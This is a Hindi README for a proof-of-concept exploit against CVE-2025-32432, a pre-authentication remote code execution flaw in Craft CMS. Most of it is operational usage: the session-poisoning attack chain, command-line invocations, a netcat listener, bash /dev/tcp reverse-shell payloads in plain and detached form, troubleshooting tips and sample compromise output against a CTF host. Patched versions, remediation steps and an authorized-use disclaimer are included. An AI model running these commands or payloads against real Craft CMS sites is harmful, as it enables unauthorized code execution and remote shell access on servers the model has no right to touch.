
केवल अधिकृत परीक्षण। यह रिपॉज़िटरी नियंत्रित लैब वातावरण, Hack The Box जैसे CTF प्लेटफ़ॉर्म, आंतरिक सत्यापन और रक्षात्मक सत्यापन के लिए है। इसे उन सिस्टमों पर न चलाएँ जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है।
यह प्रोजेक्ट CVE-2025-32432 के लिए एक सिंगल-टार्गेट प्रूफ-ऑफ-कॉन्सेप्ट है, जो प्री-ऑथेंटिकेशन Craft CMS रिमोट कोड एक्ज़ीक्यूशन समस्या है।
PoC दो चरणों में कार्य करता है:
phpinfo() गैजेट का उपयोग करके।स्क्रिप्ट को कुछ सार्वजनिक PoCs में देखी जाने वाली सामान्य फ़ॉल्स-नेगेटिव समस्या से बचने के लिए डिज़ाइन किया गया है: एक सामान्य इमेज ट्रांसफ़ॉर्म अनुरोध 404 लौटा सकता है, जबकि वही एंडपॉइंट और assetId वास्तविक गैजेट पेलोड का उपयोग करने पर फिर भी कार्य करते हैं।
आधिकारिक Craft CMS एडवाइज़री और सार्वजनिक एडवाइज़री डेटाबेस के अनुसार, प्रभावित रेंज हैं:
| Craft CMS ब्रांच |
|---|
यदि आप किसी Craft CMS डिप्लॉयमेंट के लिए ज़िम्मेदार हैं तो तुरंत फिक्स्ड रिलीज़ में अपग्रेड करें।
PoC इस प्रवाह का अनुसरण करता है:
Get CSRF token
|
v
Test endpoint + assetId with phpinfo gadget
|
v
Confirm vulnerable response contains PHP Version / PHP License
|
v
Poison Craft session return URL with PHP payload
|
v
Trigger yii\rbac\PhpManager to include the PHP session file
|
v
Execute optional command
महत्वपूर्ण कार्यान्वयन विवरण:
/var/lib/php/sessions/var/lib/php/session/tmp--timeout विकल्प शामिल है।craftcms_cve_2025_32432_public_poc.py Main single-target PoC
README.md Project documentation
requestsurllib3निर्भरताएँ स्थापित करें:
python3 -m pip install requests urllib3
यह केवल phpinfo गैजेट का उपयोग करके भेद्यता की पुष्टि करता है।
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
अपेक्षित सफल आउटपुट:
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
phpinfo प्रतिक्रिया इस रूप में सहेजी जाती है:
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
उदाहरण सफल आउटपुट:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
इसका उपयोग तब करें जब आप पहले से कार्यशील मान जानते हों।
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
कुछ टार्गेट x.php जैसे कस्टम फ्रंट कंट्रोलर का उपयोग कर सकते हैं।
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
यह ऐसे रूट्स का परीक्षण करता है:
http://target.local/x.php?p=admin/actions/assets/generate-transform
पहले एक लिसनर प्रारंभ करें:
rlwrap -cAr nc -lvnp 12345
फिर रिवर्स-शेल कमांड के साथ PoC चलाएँ:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0 अनुरोध टाइमआउट को अक्षम करता है। यह उपयोगी है क्योंकि रिवर्स शेल अक्सर HTTP अनुरोध को खुला रखती हैं।
डिटैच्ड वेरिएंट:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
assetId 0 -> HTTP 404खोज के लिए सामान्य ट्रांसफ़ॉर्म अनुरोध पर भरोसा न करें। कुछ टार्गेट सामान्य ट्रांसफ़ॉर्म बॉडी के लिए 404 लौटाते हैं लेकिन फिर भी गैजेट पेलोड निष्पादित करते हैं।
यह PoC phpinfo गैजेट का उपयोग करके ही मान्य संयोजन खोजता है।
सत्र निर्देशिका मैन्युअल रूप से निर्दिष्ट करने का प्रयास करें:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
फिर प्रयास करें:
--session-dir /var/lib/php/session
या:
--session-dir /tmp
इनमें से कोई एक तरीका उपयोग करें:
--timeout 0
setsid या nohup के साथ डिटैच्ड पेलोड का उपयोग करें।
सत्यापित करें कि आपका कॉलबैक IP सही है:
ip -br a | grep tun
यदि रिवर्स शेल सफलतापूर्वक कनेक्ट हुई है तो यह सामान्य हो सकता है। टाइमआउट को विफलता मानने से पहले अपने लिसनर की जाँच करें।
पहले एक सरल कमांड आज़माएँ:
-c "id"
-c "whoami"
-c "pwd"
यदि सरल कमांड कार्य करते हैं लेकिन जटिल कमांड विफल होते हैं, तो कमांड को सावधानीपूर्वक कोट करें या डिटैच्ड शेल पेलोड का उपयोग करें।
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
यदि आप किसी Craft CMS इंस्टेंस का प्रबंधन करते हैं:
3.9.15, 4.14.15, 5.6.17 या उसके बाद के संस्करण में अपग्रेड करें।.env से रहस्यों और डेटाबेस क्रेडेंशियल्स को रोटेट करें।यह प्रोजेक्ट केवल शैक्षिक, शोध, लैब और रक्षात्मक सत्यापन उद्देश्यों के लिए प्रदान किया गया है। लेखक दुरुपयोग के लिए ज़िम्मेदार नहीं है। केवल उन्हीं सिस्टमों का परीक्षण करें जिनके आप स्वामी हैं या जिनके मूल्यांकन की आपके पास स्पष्ट लिखित अनुमति है।
| प्रभावित संस्करण |
|---|
| फिक्स्ड संस्करण |
|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|
-u, --url | टार्गेट बेस URL | आवश्यक |
-c, --cmd | phpinfo पुष्टि के बाद निष्पादित करने हेतु वैकल्पिक कमांड | कोई नहीं |
--front | फ्रंट कंट्रोलर फ़ाइलनाम | index.php |
-s, --scan-max | phpinfo गैजेट के साथ परीक्षण हेतु अधिकतम assetId | 50 |
-a, --asset | ज्ञात कार्यशील एसेट ID | कोई नहीं |
--endpoint | ज्ञात कार्यशील generate-transform एंडपॉइंट | कोई नहीं |
--session-dir | PHP सत्र निर्देशिका। इसे कई बार प्रदान किया जा सकता है | बिल्ट-इन सूची |
--timeout | कमांड ट्रिगर हेतु अनुरोध टाइमआउट। कोई टाइमआउट न होने पर 0 उपयोग करें | 20 |